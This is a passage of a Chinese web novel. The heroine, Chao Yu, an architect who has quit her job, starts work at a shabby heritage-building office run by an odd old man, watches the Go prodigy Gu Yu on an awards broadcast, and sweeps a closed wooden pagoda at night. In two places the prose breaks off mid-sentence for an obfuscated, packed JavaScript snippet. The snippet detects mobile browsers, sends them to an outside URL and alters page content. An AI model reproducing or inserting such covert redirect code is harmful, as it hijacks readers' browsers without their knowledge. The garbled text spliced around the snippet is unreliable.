晁雨怔了下:“啊?” “她喜欢过我,表白过,我拒绝了。她现在有男朋友,感情很好。”辜屿问:“你都不看娱乐新闻的么?” 晁雨又一怔。 她还真不看。 也许她的愣怔还来自于,她第一次听辜屿说这么长的句子。 跟辜屿也喝多了似的。 一定是这样。因为辜屿接下来问:“那你呢?” 19. 第四件小事01 晁雨站在原地。 她太惊讶了,以至于垂下手,表现出的反而是一种平静。 她又开始咬嘴皮了,一下一下地咬,不过是从内侧,没人看得出来。夜风吹过浸了酒的心脏,烫意一路传到耳根。 她说不出话,对时间的感知也失效。 直至辜屿走到她身边,问:“不进去?” 轻描淡写的语气,好像刚才什么都没发生一样。 辜屿进去后过了五分钟,晁雨才进去。 许辰懿问她:“你便秘?我有药。” 晁雨:…… 忘了是怎么散的场。宋宛颜戴上鸭舌帽和口罩,很低调地被经纪人接走。 晁雨回家洗了个澡,躺到床上,伸手抚了下自己的心跳。 并没有加快,只是一下一下地跳空。 她主观上觉得两人之间有悸动,那是一回事。 辜屿用区区三个字把它“挑明”,那又是另一回事。 晁雨现在觉得老天把她当颗球,抛来抛去的颠着玩。 在她对感情彻底失望的夏天,又遇到个有感觉的对象是怎么回事? 并且这人不是别人,是辜屿。 全世界瞩目的、被誉为神秘东方天才的辜屿。 不知多少粉丝狂热追捧着喊弟弟的辜屿。 永远都有镜头对准、却矜冷禁欲到近佛似妖的辜屿。 晁雨脑壳疼,扯过毯子,把自己的头蒙进去。 第二天下班,晁雨回家,看到许辰懿鸵鸟一样在她房里踱步。 看见她又海豹式一拍巴掌:“咱俩去录像厅看电影吧!我都等你一下午了,走走走。” 晁雨笑着捏捏许辰懿的手,走到书桌边放下包,打开电脑。 许辰懿跟过去,叹了口气。 晁雨坐在桌前倒是挺平静,打开「金铅笔」奖的页面。 作为国内建筑设计界颇具分量的奖项之一,页面设计简洁,淡淡银灰金线勾勒出抽象的城垣。 晁雨当然知道许辰懿为什么想拖她出去——今天是公布入围名单的日子。 晁雨浏览了遍,果然,没她的名字。 许辰懿倚在她书桌边缘,试探着问:“现在这样的生活也蛮好,对吧?” 晁雨一咧嘴:“对。” 如果,心里面没有那份不甘心的话。 入了夜,许辰懿洗了澡回客房去了。 晁雨一个人抱着双膝坐在天井的阶梯上。 这段时间她心事多,她的嘴皮跟着遭殃,被她翻来覆去地咬。老宅住久了,也像家里的一份子,所有人沉睡时它也沉睡,偶然拂过的风是它安然的呼吸。 所有的灯都熄了,天井里那棵不知多少年的桂树,分出的花芽像零星的灯火。 晁雨不知作为一个女孩,为什么从小到大,心里总有那么多不甘心。 小时候她成绩不算好,背着书包路过巷子拐角,听见那些嬢嬢们嗑着瓜子议论:“晁家运道不好,好不容易生个儿子还是个病秧子。女孩么,总归是指望不上的。” 晁雨想:为什么女孩指望不上? 她当了很久的年级第一,中学时成绩开始下滑。她是数学课代表,有天去办公室取卷子,听她无比信赖的那位数学老师,喝着浓茶跟其他同事聊天:“女孩么上了初中,数理化开始难了就不行了。你看晁雨,第一这就被陈梓豪抢走了。” 晁雨想:为什么女孩上了初中就不行了? 她狠嗑数理化,嗑到额头冒油长痘。工作她进了亚轩,又听前辈告诫:“抓紧时间相亲,你看公司的主力设计师不都是男的?女人做到设计师基本就到头了。 晁雨又想:为什么女人不能做主力设计师? 她打着吊瓶改过方案,在北京大冬天的街头蹲在路边、把电脑放石墩上边吸鼻涕边改过方案。她拼了命地往前跑,跑到所有人都说你可以是独当一面的设计师了,明恒宇也说再历练历练你有机会。 可也许她跑得太快了,快到让明恒宇有了危机感。 她上楼,洗了澡靠在床头刷手机。 一个著名的情感吐槽bot里,一条热门评论是:[你们女人其实不该太强,不然让男人怎么活?] 她牵着嘴拉开一个冷笑,把手机丢到一边。 第二天上班,开了整天的会。 她最后一个发言,大家已经很累,大致听了,直接略过,重又开始争论用户体验的程序写法。 一个中年女人出现在会议室门口,笑着冲她招手。 晁雨有点懵,点了下自己的鼻子:我? 女人笑着点头。 晁雨不知是不是哪个她没见过的领导,打了声招呼走出去。正坐在会议桌首端转笔的周旭尧,跟着瞥了眼,微蹙了下眉,走出去。 三人走到拐角,周旭尧压低声问:“妈,你怎么来了?” 晁雨这才知道,女人是周旭尧的妈妈。 周妈妈把周旭尧往会议室里推:“你去开你的会,我找小雨聊一下。” 她把晁雨带到公司楼下的茶室,笑眯眯打量晁雨一番:“长得真好。” 晁雨是淡颜,五官恬淡嘉柔,一头浓密的乌发是脸上唯一的重色。同龄人未必喜欢,却很讨长辈喜欢。 周妈妈掏出个锦盒打开推给她,里面是只水头极佳的翠碧玉镯子。 晁雨吓死了:“阿姨您这是做什么?” 周妈妈笑道:“小雨,听阿姨一句劝,阿姨是过来人。一个男人肯在你身上花时间,就是对你有心呀,不然旭尧把你招进自己公司干嘛呢?” “不是,阿姨,您误会了。” “旭尧的爸爸也是这样,在外面拉项目干工程,但只要他肯在我身上花时间,总归想着回家的呀。” 晁雨笑笑:“阿姨,有没有一种可能。” “我不太在意男人的时间花在哪里,我比较在意自己的时间花在哪里?” 周妈妈微一怔。 等晁雨上楼的时候,已经散会。 其他同事先下班了,周旭尧在自己办公室踱步。 扶着门框叫晁雨:“进来聊聊。” 晁雨坐到沙发。 “对不起。”周旭尧开门见山地先道歉:“我妈说了不该说的?” “阿姨说话挺客气。”晁雨笑笑:“不过周总,我想辞职。” “为什么?” 晁雨说得也坦白:“我和你看来,相亲的事谈清楚了,剩下的工作就是工作。但我妈不这么觉得,阿姨也不这么觉得,老这么引起误会不好。” “解释清楚就行。”周旭尧沉吟了下:“我知道你觉得公司对视觉设计的重视程度不够,很多同事觉得那是末端细节。因为现在是程序开发的关键阶段,牵扯了太多精力,过了这段时间就好了。” “没有,其实好好磨合一下,在这个职位上也能做出很漂亮的设计来。”晁雨道:“对我来说,这份工作只有一个问题,它不是建筑设计。” “所以?” “我都已经干建筑设计这么久了。” 晁雨在心里说:所以,我不甘心。 她跟周旭尧谈妥了离职的事,视觉设计部分她之前已跟UI设计师做得七七八八,剩下些细节调整,周旭尧可以慢慢招人。 她也没什么东西可带走的,简单收拾了下,走出公司后望了眼大楼。 “让你裸辞。”她小小抽了自己一个嘴巴,嘀咕道:“现在什么就业环境你还裸辞,特潇洒是吧,看把你能的。” 回家把这事说了,葛洁的失望之情溢于言表。 晁雨倒是在招聘网上刷到一份新工作—— 洵州市古建筑保护管理局目前开放了一个职位。 “天无绝人之路啊!”晁雨去面试的那天很重视,一激动就把眼线画飙了。 许辰懿把她拉过来,用棉签擦了帮她重画:“你好好表现,你这也算事业单位,应聘成功就算上岸了。” “嗯嗯。” 晁雨拿出自己最好的职业装,软缎白衬衫和棠梨褐西裤,搭一双米白小猫跟鞋。这还是在亚轩时,为了见一个合同上亿的客户时置办的行头。 晁雨不想浪费钱打车,让晁二柱开着五菱宏光送自己过去。 晁二柱看着手机导航:“姐,你这地址是不是不太对啊?” 晁雨也觉得不太对。 车越开越深入老城区的一条老街,烟火气浓厚得过分。蒸包子的,卖茶叶的,打小孩的。 到了晁雨设置的地址,左边是一家活禽店,漫天的鸡鸭鹅毛乱飞。右边是一家棉絮店,扬起的棉絮跟鸡鸭鹅毛混在一起。 跟天女散花似的。 “嘶……”晁二柱把车停在路边:“这肯定不对。” 可招聘网站上写的地址就是这儿。 晁雨下车看了眼,在活禽店和棉絮店之间,一扇小小的朱漆木门紧闭,上面很小一块木匾,饶是晁雨对木料如此了解,也没瞧出那是什么。 很久没清理,染了油污,很隐约能看出几个隶书雕字——「洵州市古建筑保护管理局」。 啊这…… 晁雨想了想:说不定大隐隐于市。 她站在一片乱飞的鸡鸭鹅毛和棉絮中,掏出粉饼和口红补了个妆,又理了理衬衫领口和西裤,谨慎敲门。 里面没人应。 晁雨又敲了敲。 还是没人应。 作为一名逼上绝路裸辞人,晁雨鼓起勇气,把门推开了。 一个巴掌大的逼仄空间,一扇气窗开得很高,一缕阳光照着满室灰尘乱舞。一个光头老头儿,正勾着腰坐在一台电脑前。 很久没见过的复古电脑,显示器还是鼓肚子那种。 “请问……”晁雨开口。 老头儿没反应,对着电脑聚精会神。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591603|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晁雨没办法,走到老头儿身后看了眼。 ……老头儿在玩扫雷。 晁雨轻声说:“左上方那个。” 老头儿鼠标移过去,轻轻一点。 轰,炸了。 “嘿!”老头儿气急败坏回过头。 晁雨赔笑:“要不是这样,您也没空搭理我。” 老头儿鼻腔里哼了声,端起放了半杯茶叶的茶缸喝了口。 他戴一副玳瑁框眼镜,穿着件老头乐白背心,灰裤子上系一根棕色宽皮带,一串钥匙挂在皮带上。 打量了一身精英职业装、妆容一丝不苟的晁雨一眼。 开口问:“你害我死了,就不怕我给你穿小鞋不招你?” 晁雨笑笑,自觉在他对面坐下:“这工作,应该也没什么其他人来应聘吧。” 老头儿又瞟她一眼,端起茶缸喝了口。 “月薪两千五,没年终奖。买五险一金,没编制。” “合同工啊?” 老头淬一口茶叶:“爱来不来。” “工作主要是做些什么?” 洵州这种小城,依山傍水,一座霓山上有大量的好木材。催生了这里无数的古建筑,大多是木制。 新城区那一片,在拆迁浪潮的时候都给推掉了。剩下老城区这一片,以晁家老宅所在的木安街为首,倒是自成风格。 晁雨从小在这老宅里长大,中国传统建筑所用的悬山顶、花架椽、小额枋是深入她骨血里的。之后进了亚轩,她的设计便擅融传统元素而变作点睛之笔。 晁雨想着,既然是古建筑保护管理局,工作大抵跟这方面有关。 结果老头儿一指旁边堆满的木架:“这里有很多的案卷,要一一把它们录到电脑里去,晓得伐?” 得,懂了,打字员。 晁雨琢磨着这工作量也不大:“那您……” 老头儿手一摊:“我只会五笔,打字太慢。” 五笔,一个多么具有年代感的词汇。 老头儿又转回去重新开了局扫雷:“要来的话,明天早上直接来上班。” 晁雨估计今天就算来的是个猴儿,只要挥舞两爪能敲键盘,也能录用。 晁雨:“您贵姓?” 老头儿摆摆手:“没那么多讲究,叫我九叔就行。” 晁雨又让晁二柱把她载回去了,最后回头,看了眼掩没在一片鸡鸭鹅毛和棉絮里的小办公室。 这要不是在官网上能查到,她都怀疑是个杀猪盘。 哦不对,有让一个穿背心的老头儿来办杀猪盘的么? 晁二柱忧心忡忡:“姐,你还真要去啊?” 晁雨自己也拿不定主意。 晚上许辰懿要改一PPT,晁雨就顺着木安街一路溜达,琢磨着工作的事。 主要她现在裸辞了。被动,很被动。 木安街永远像被抛在时光深处。青石板路被一年年的梅雨濡出了青苔,木纹雕花的窗棱透过去望见此去经年。 这条老街上住的大多是上了年纪的人,入了夜,也和这条老街一样安然沉睡。 只有街尽头的小卖部,牵出盏没有灯罩的、昏黄的灯,耳朵不好的唐爷爷和他总也养不胖的三花猫守在这里。 哦不对。 路灯下还坐着两个人。 这是老街里的老头们白日聚在一起下棋的所在,下完象棋下围棋。并且他们还赌钱,嘿哈的响声震天响。 这时倒是很安静,一黑一白两道身影,隔着张薄薄木板画成的棋盘,正在对阵。 黑的那道是辜屿。 白的那道,听到晁雨脚步,回头看了她眼。 竟是九叔。 晁雨本来想躲,这会儿再躲反倒不好,踱步上前。 晁正声不喜下棋,所以她对象棋围棋都没什么研究。这会儿只见辜屿执黑,九叔执白。 玉石般白皙修长的手指,在路灯下微微泛光,执一枚黑子,落在棋盘上。 棋子发出轻轻“啪”的一声,正当时,晁雨头顶一只小虫振翅扑向路灯,也发出同样“啪”的一声。 “看明白了么?”辜屿抬眸,看向她。 辜屿下棋时跟平时是不一样的。 更冷气也更禁欲,周身锋芒敛起来,反而像藏进云层的冷月光酝出破空的箭。其实他姿态很放松,眼神甚至带三分散漫,可你就是知道那黑子一落,出手即是杀招。 因为对面九叔嘶了声:“小兔崽子,我是个业余的,你怎么下死手呢!” 晁雨避开辜屿视线,垂眸去看棋盘。 背在身后的手,指尖蜷起。 辜屿这一句,像是在问棋局。也像是在问,两人之间的某份微妙,她看明白了没。 九叔抬头瞥了晁雨一眼:“她当然没看明白了。” “这丫头后来应该没关注过围棋吧,毕竟,她连我都没认出来。” 20. 第四件小事02 晁雨懵了。 她也不是什么脸盲,但眼前这位穿老头乐背心的、腰间皮带挂串钥匙的、一颗光头在路灯下锃光瓦亮的…… 她还真是一点印象都没有。 试探性问了句:“请问您是?” “九叔啊。”老头摇头晃脑,哼了句昆戏。 下一招,辜屿就斩了他的大龙。 九叔:…… 他把棋盘一掀:“不来了不来了。”又从兜里掏出张皱巴巴的五块钱纸币,扔给辜屿。 辜屿把五块钱塞进兜里,站起来:“最好捡一捡,不然下次棋子不够。” 他走了。 九叔瞪一眼他背影,又嘀嘀咕咕把自己刚掀翻的棋子捡起来。 晁雨蹲下来帮他捡。 九叔问:“你大半夜不睡觉,在外面瞎溜达什么呢?” “想事。” “想要不要来上班?” 晁雨心说这也没什么好瞒的,毕竟你那个地方也太像草台班子了,“嗯”了声。 九叔哼笑一声,把棋盘和两个掉了漆的小板凳收进灌木丛里:“那你慢慢想吧,我先走了。” 背着手哼着“则为你如花美眷,似水流年”,摇头晃脑地走了。 洵州好像就是这样,随便一个人,都像从旧时光里拉出来的。 晁雨在他身后问:“您姓什么啊?” 他也没搭理。 晁雨回家时路过毛家小院,探头看了眼。 毛秀珍仰在躺椅上摇蒲扇,双眼瞪得像铜铃。 不用说,这是又喝了奶茶。 晁雨溜进去:“老太太,问你个事。你认识九叔么?” “呵,老九啊。”毛秀珍语气十分不屑。 老城区的老年人拢共就这么多,一般都互相认识。 晁雨问:“他姓什么?叫什么?” “谁知道他姓什么叫什么。”毛秀珍翻个白眼:“他就是个臭棋篓子,天天跟那些单身老头儿混在一起,谁留意他。反正他在洵州住了那么多年,人人管他叫老九。” “他跟我们家有联系么?” “没有。”毛秀珍摇摇头:“你爸又不下棋。” 那晁雨为什么应该记得他? 老头儿神神叨叨的,晁雨也不想管了。 不过,晁雨问:“你怎么说起他这么大火气?他得罪你啦?” 毛秀珍一拍蒲扇,气急败坏:“以前还有人想给我和他做媒你敢信么?他是什么?他就是个秃瓢!我跟朵花似的我能看上他!” 毛秀珍伸出一只手抖啊抖的,也不知在指谁:“你说说这些人多黑的心呐!老年人他们都不放过!怎么只要是一个男的和一个女的,就非得有点什么呗?” 晁雨差点没笑死。 第二天一早,晁雨换了白T恤和浅蓝牛仔裤,准备去上班。 许辰懿起了个大早陪她,靠在她门框上啃苹果:“这就不化妆啦?有点飘啊。” 晁雨心想:有什么好化的。 无论她穿什么去,跟九叔那件蛀了两个虫洞的老头乐背心一比,都算职场正装。 晁雨坐公交到了办公室。 不出所料,九叔又泡了半缸茶叶的浓茶,对着电脑玩扫雷。 都没舍得掀起眼皮瞧她一眼,只嘴里招呼一句:“想通啦?” 晁雨:“想通了。” 主要这事也由不得她选。 说到底,建筑设计圈子就那么大,谁都认识谁。明恒宇坑她这一把,虽不至于人人相信她剽窃,但至少,都知道她和亚轩的主力设计师结下了梁子。 没有公司会为了她一个还没出头的新人,去冒这个险。 至少,这个夹在活禽店和棉絮店之间的古建筑保护管理局,还能跟建筑扯上点关系不是? 九叔不招呼她,她也不拘着什么,自己把九叔对面的办公桌收拾出来,坐下了。 环视一圈。 这办公室真的就巴掌大。两张办公桌对放着,靠墙是两个放得满满当当的书架。进门右手边,是一架款式极为复古的黑皮沙发和一张矮茶几。 沙发掉皮,茶几掉漆,都显得斑驳不堪。 ……这单位要是今天就被取缔掉,那晁雨可真是一点都不意外。 唯一一台电脑,正被九叔玩扫雷。 晁雨踱到九叔身后:“点左上那个。” 九叔哼哼两声:“这次我可不上你的当。” 鼠标在右上角一点。 轰,炸了。 九叔:…… 晁雨笑问:“电脑能给我用了吗?” “不能。”九叔又重开了一局。 “不是要整理录入这些案卷资料吗?” “你先把今天要录入的案卷整理好,到时候一口气把字敲进电脑就行。” 晁雨心想:老头儿算得还挺精,这样可以最大程度保证他玩扫雷的时间。 也行吧。 晁雨走到书架前大致看了眼,从A到Z还算有个分类,不算太糟。 结果她从A分类里抽了本案卷出来一看,项目名妥妥就是Z打头的。 晁雨:…… 得,那就随便来吧。 晁雨抽出叠案卷,扬起的灰尘让人仿若来到敦煌,也不知多久没人碰过了。 晁雨咳咳咳地回到办公桌前,开始今天的工作。 心里越琢磨越觉得不对:她真的要接受这份工作吗? 要不怎么说老天把她当个球颠呢。 正当这时,她短促地“啊”了声。 九叔一下从电脑前弹起来缩到墙角:“怎么,有蜈蚣啊?!” 晁雨指指那发黄的案卷:“不是啊,是祝境鹤。” 九叔翻个白眼坐回电脑前。 案卷上赫然写着——[关于劝宁古木塔的修缮方案建言:祝境鹤]。 晁雨试探性问:“您知道祝境鹤吧?” “不知道。”九叔点着鼠标:“男的女的?听起来有点娘娘腔。” 晁雨:…… 但凡受过正规教育的建筑系学生,“祝境鹤”这个名字,一定是如雷贯耳。 他是著名的古建筑学家,出身草根,却一双布鞋走遍了中国的名山大川、山野沟壑,及常人不能及之处,记载保护了无数庙宇、民居、佛塔等古建筑。 晁雨竟不知道,祝境鹤还来过洵州。 她迫不及待翻开案卷,祝境鹤那年代的人不用电脑,一手图画得极为漂亮,把劝宁塔的结构剖析得宜。 劝宁塔是洵州老城区的一座古塔,举国不多见的全木制结构。晁雨小时候还跟随晁正声,登上过劝宁塔。 不过没多久,这塔就因年久失修,担心有安全隐患而对游客关闭了。 晁雨翻到最后,祝境鹤给出的结论是—— [全用榫卯结构而不置一钉,在修旧如旧的大前提下,要保留外观而解决劝宁塔的结构承重问题,几乎是不可能的。] “哦对了,说起劝宁塔。”九叔在电脑对面抬起头来,抛给她一把钥匙。 晁雨:? “你还有个工作,就是扫塔。毕竟劝宁塔,是除了木安街那片老民居外,洵州唯一叫得上名的古建筑了。”九叔叮嘱:“记得每周日晚上去。” “为什么?” 晁雨以为有什么风水学上的讲究。 结果九叔道:“平时人来人往的,你拿钥匙去一开门,人人都问劝宁塔怎么不开放参观啦?碰上个别不讲道理的,非要跟你一起上去,你有几张嘴去跟他们解释?也不嫌累得慌。” “周日晚上就不一样了。毕竟周一大家都要怀着上坟的心情去上班,得一腔怨愤的早睡。” ……很实在的理由。 晁雨又想起:“那我上去扫塔,不会塌么?” 九叔斜她一眼:“那是针对大规模游客而言。就你?” “高看你自己了。” 这老头儿嘴真毒! 晁雨下班回家后问葛洁:“有卤蛋么?” “有的呀。”葛洁问:“怎么突然想吃卤蛋了?” 晁雨默默吃卤蛋,把它当九叔的脑袋啃。 吃了一半毛秀珍闯进来:“怎么还在吃卤蛋呀!快来快来,时间来不及了。” 晁雨一脸懵:“什么事?” 许辰懿:“怎么你不知道么?辜屿去上海参加年度人物颁奖礼,今晚直播。” 晁雨还真不知道。 她发现自打昨天在路灯下遇到辜屿后,她开始刻意回避辜屿的消息。 比如,今早路过毛家小院时,她是绕道走的。 比如,刷微博看到“围棋”二字,她会看也不看直接划开。 所以她真不知辜屿去了上海。 葛洁站起来收拾碗筷:“你们去看吧,我要去给你爸送饭。” 晁雨跟着站起,叫许辰懿:“你先跟毛奶奶过去,我帮我妈收拾完就来。” “啊哟。”葛洁有点意外:“今天哪能那么勤快啦?” 晁雨不说话,默默拿抹布擦桌子。 葛洁瞥她一眼:“不要以为你跟我卖乖,小周的事我就不计较了哦。” “没有。” 葛洁叹口气:“你晓得的呀,从小我对你和你弟就没什么要求。我就希望你们普普通通,平平顺顺。” 从这个角度看,周旭尧真是个好选择。 晁雨一咧嘴:“知道。” 她不顶嘴,葛洁也不好多说什么,收拾完去给晁正声送饭了。 晁雨磨磨蹭蹭往对面的毛家小院走。 盛夏天黑得迟,暮色直到这时才铺展。空气里是一种暧昧的、浅淡的灰。 晁雨站在斑马线边,听着马路对面的小院里,闹腾一片。 她走进去,发现毛秀珍跟个售票员似的:“哎你们坐整齐呀。” “瓜子花生要伐?西瓜要伐?我还准备了冰可乐,但这个你们要花钱买的。” 小院里摆着好几张长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604014|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条木凳,平时窝在游戏房里的男生,都被毛秀珍捞了过来,整齐地坐在这里。 爬满葡萄藤的木爬架下,毛秀珍直接加了个插线板,把屋里的电视牵了出来。 马超一听见晁雨的脚步声,立马站起来:“雨姐,你到前面来坐。” 就像他跟晁二柱说的—— 从小被晁雨欺压惯了。一到晁雨面前,自动切换成狗腿属性。 晁雨笑道:“不了,我就跟辰辰一起坐后面。” 她笑这么温柔,马超反倒还一愣。 晁雨在许辰懿身边坐下。许辰懿低声跟她说:“聪明。” “嗯?” 许辰懿一努嘴:“看到老太太没?背着手站在电视机旁,跟班主任似的,估计一会儿谁看直播不认真,她还得点名。咱坐最后一排,比较容易开小差。” 盛夏夜潮,蚊子也多,小院里是艾草一样的浓浓蚊香味。 等毛秀珍卖出她的第五瓶冰可乐后,直播开始了。 这次活动规格高,上星卫视直播。 每年一次的评选,选出的是各领域具备社会影响力的人物。 为辐射年轻群体,近年评选标准也开始发生转移。入选的有青年演员、电竞选手等,因此在年轻人里也颇受关注。 今年更是因为入选的有辜屿,被预测收视率会创下新高。 入选人物是一个个出场的。 好几名商界精英,讲起套话来像开会。男孩们觉得无聊,纷纷开始玩手机。 毛秀珍果然开始点名:“二柱子,专心点!” 晁二柱放下手机,幽怨地看了最后一排的晁雨一眼。 那眼神的意思是:你真有先见之明。 晁雨咧嘴笑,许辰懿递了盘瓜子给她:“吃瓜子吃瓜子。” 躲在最后一排嗑瓜子刷手机,小日子过得十分逍遥。 直到入选的青年演员登场,许辰懿才从手机上抬起头。 他长相清朗,用传统标准来说就是“小白脸”。女粉多,男孩们对他都不感兴趣,一个个仍旧低着头,趁毛秀珍不备偷看手机。 许辰懿跟晁雨点评:“是长得可以哈。” 又过了两人,最后登场的,才是辜屿。 主办方也知道他人气高,特意安排他压轴,托着收视率不掉下去。 主持人问:“有什么想对大家说的么?” 辜屿:“谢谢大家,也谢谢围棋。” 主持人:“围棋对你来说意味着什么呢?” 辜屿:“一切。” 主持人:“那,有过想放弃的时候么?” 辜屿顿了下:“有。” “天才也会有想要放弃的时候么?”主持人稍感意外:“那是怎么坚持下来的呢?” “有那么一个人。” “是指你的师父吧?” 辜屿师从围棋大师古距源。 晁雨坐在最后一排,看见刚才偷偷玩手机的男生们,都把头抬了起来。 她心里很清楚:这甚至不是因为他们认识辜屿。而是辜屿就有这样的力量,他气场太强,只要他开口、他出现,就没人能忽视他的存在。 在辜屿前一位登场的入选者,是名登山家。 被问及为什么要登山时,他说:“因为历经千辛万苦,站到山巅之时一伸手、好像就能碰到星星。古人说‘手可摘星辰’,那样的感觉非得切身体会,才知道有多震撼。” 可辜屿不是星辰。 他是穹苍里的一轮孤月。参加活动时他难得不穿一身黑,穿一件白衬衫,愈发显得不可逼视。 他才二十二岁,可他不背稿子,回答采访问题时,气定神闲得像聊天。 他光芒万丈,全世界瞩目于他,全世界也为他让步。他不是那种你行过了万里路、磨破了手掌和膝盖后伸手可触及的星星。 他是更高远的月。哪怕你痴心妄想对他伸出一只手,只会被他冷薄锋韧的光芒割伤。 许辰懿打开手机看了眼。 说了句“果然”,把手机递到晁雨面前。 晁雨垂眸去看。 许辰懿打开的是同步直播的视频网站,此时弹幕都刷疯了。 [姐妹们,谁能想象禁欲系天花板才二十二岁呢?] [我简直不能想象弟弟要是戴上金丝边眼镜,是何等的杀招。] 许辰懿说“果然”的意思是—— 果然人人看见他的光芒,都觉得遥不可及。 许辰懿收起手机跟晁雨说:“你上次不是问我,要是对一个差距特大的人动心怎么办。” “要是遇上个寻常小妖孽,那就睡了他。要是碰上辜屿弟弟这种级别的,一个字,赶紧跑。” 晁雨远远盯着电视屏幕:“跑什么?” “你看不出他杀伤力有多强么?他莫得感情!这要是陷进去岂不是骨头渣子都不剩?”许辰懿想了想:“算了,这种天菜弟弟直接跑了还是有点亏,我飞快地摸一把腹肌再跑。” 21. 第四件小事03 直播散场,留下一地瓜子皮。 毛秀珍叉着腰站在原地喊:“小兔崽子们,你们倒是给我把地扫干净再走啊!” 马超一边跑一边回头笑:“一瓶冰可乐卖我们十块钱,您扫扫地不算亏。况且您成天坐着打麻将,也该活动活动筋骨了。” 第二天晁雨去上班,发现九叔买了份报纸。 晁雨问:“您读报啊?” “不读。” 直到晁雨接管电脑开始录入今天整理的案卷后,才发现,九叔买报纸是为了玩上面的填字游戏。 这老头儿,还真懂怎么不让自己闲着。 晁雨录入完资料,想了想,登上洵州市的官网。 果然,是预拟过劝宁塔修缮计划的。 九叔捏着报纸踱到她身后:“问你个英文单词。” 瞥一眼电脑屏幕:“别想啦,你不会还想重启劝宁塔修缮计划吧?你不是看到了,连祝境鹤都整不出方案来。” “你又不知道祝境鹤是谁,还说人家是娘娘腔。” “听你说起他的语气,应该是个很厉害的娘娘腔吧。”他搡搡晁雨的肩:“这个英文单词什么意思?我填字游戏这栏卡住了,不会填啊。” 晁雨眼神还流连在屏幕。 “都叫你别想了。没结果的事,做来干嘛?”他劝晁雨:“你把手头的案卷整理好就得了,你知道我们这单位,不管你干啥,一个月该是两千五还是两千五,不会给你加一分钱的。” 就这样工作到周五。 周末休息,晁雨跟许辰懿去录像厅看老电影,又绕着雩溪溜达。 许辰懿一指耸立的古塔:“那是什么?好像不管走老城区的哪条街,都能看见它。” “劝宁塔,明代的一座佛塔。” “那你怎么不带我去爬?”许辰懿闲得浑身长蘑菇,一想到回北京又要忙得跟狗一样,她对这么闲的感觉浑身既得劲又不得劲。 “爬不了。在我很小的时候,就因年久失修对游客关闭了。” 晁雨倒是有钥匙。 但她自己就是学建筑的人,对古建筑还是怀抱着一份敬畏。既然说了不对外开放,她还是不带许辰懿过去了。 周日晚上,晁雨一个人去扫塔。 九叔曾提醒她:“自己带撮箕扫帚过去,那儿偏,不好买。” “之前没人扫过吗?” “谁扫?” “你。” “哈哈。”九叔说:“哈哈哈。” 晁雨就自己买了扫帚撮箕,趁着周日夜深,坐公交往劝宁古塔的方向去。 那里的确偏,公交车上除了晁雨一个人都没有。 司机一看她拎着扫帚撮箕上了车,多新鲜:“姑娘你去哪啊?” 晁雨也不好说自己去劝宁塔:“瞎转。” “拎着扫帚撮箕满街瞎转啊?干嘛,扫大街啊?要不你先帮忙把我车厢里扫扫。” 晁雨:…… 下车后她一个人鬼鬼祟祟往古塔走。 做贼似的,掏出钥匙开锁前,还先左右看看有没有人尾随。 嗑哒一声,锁开了。 这锁是两面锁,圆圆一个锁孔,从里从外都能锁。晁雨进门后就赶紧把门锁了,以免有人误闯进来。 心里涌起一股很奇妙的感觉。 说起来,她最初对建筑感兴趣,就是因为这座劝宁塔。 小时候晁正声带她登劝宁塔,告诉她:“你看这么高的塔,一根钉子都没用过。” “真的?”晁雨简直不信。 “是真的,这是中国古建筑里很经典的榫卯结构。” 后来。 后来劝宁塔封闭,再不许游客入内。 后来她受够了七大姑八大姨那些重男轻女的闲言碎语,受够了小城的落后闭塞,一个人去了很远很远的地方。 至少,当她穿着精致的职业套装、和那些大城市的姑娘一样、端着星巴克走过CBD时,她是真的觉得自己走出很远很远了。 想不到到头来,她两手空空的回到这里,吸一口劝宁塔里陈旧的空气,还是晁正声带她登上劝宁塔的那一年。 塔里通电,她还特意问过九叔有没有交电费。 不然大半夜的荒郊野外,一座经年无人入内的古塔…… 那还是挺吓人的。 打开灯,倒是一直通着电,但估计许久没开过了,熄了三分之一。剩下的三分之二,只剩荧荧硕硕的微光。 劝宁塔共计七层,从外看并不高大。但托赖于特殊结构,一进塔来,只觉得木阶梯层层叠高,能直接望见塔顶,和最顶层佛像的莲花宝座。 其他各层则是形态各异的罗汉像,倚在木栏边,好似向下俯瞰着人间。 这要在日光通透的白天,肯定是妥妥的宝相庄严。可现在入了夜,久无人打扫的佛塔里蒙一层厚灰。 这……就算有电,还是有点吓人啊。 偏偏这时,闲得无聊的许辰懿打来电话:“你听过鬼火的故事么?” 晁雨二话不说,直接啪地把电话挂了。 拿着扫帚扫了两阶,然后发现:不对啊,有人从下往上扫的么? 拎着扫帚登上顶楼,环视一圈。 这一层有座巨大的佛像,端坐于莲花宝座,右手施无畏印,左手结与愿印,托赖于全塔不用一钉的精妙结构,似浮于云端,垂视人间。 晁雨默念了两句“南无阿弥陀佛”,好不容易心定了点。 忽地窗外一声惊雷。 晁雨:…… 谁家好人安排一份工作,既得当打字员又得当清洁工,还得承受夜探废弃建筑的惊悚氛围啊?! 刚刚晁雨就闻出要下雨了。 那为什么她没带伞呢? 因为她是在公交车上才闻出来的。再早她就闻不出了,不然她就可以去气象局上班、而不是干这份破工作了。 不过还有机会,在落雨前扫完塔、登上回程的公交就行。 晁雨挥舞着扫帚,从七楼扫到一楼。 差不多了。 